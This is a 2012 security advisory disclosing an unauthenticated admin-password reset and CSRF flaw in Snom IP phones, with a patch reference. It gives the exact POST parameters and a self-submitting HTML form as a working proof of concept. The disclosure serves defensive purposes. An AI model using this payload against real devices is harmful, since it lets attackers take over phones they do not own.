Sense of Security - Security Advisory - SOS-12-001

Release Date.              23-Feb-2012
Last Update.               -
Vendor Notification Date.  27-Jan-2012
Product.                   Snom IP Phone series
Platform.                  Hardware
Affected versions.         All versions prior to v8.4.35
Severity Rating.           High
Impact.                    Privilege escalation
Attack Vector.             Remote without authentication
Solution Status.           Vendor patch
CVE reference.             CVE - not yet assigned

Details.
The privilege escalation is possible because the form used to
login as the admin user is the same form for resetting the
admin password, and the user is not required to enter their
old password when changing their password. This form is also
vulnerable to Cross-Site Request Forgery (CSRF).

This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm

Where an attacker can reset the Administrator password by
removing all password attempt variables and adding the
following POST data:

admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)

After sending the request the attacker can now login as the
Administrator with the credentials specified in the above
request.

Proof of Concept.
<?php echo htmlentities('<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm" name="form"
method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm" value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body><br>
</html>'); ?>

Solution.
Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
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The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-001.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php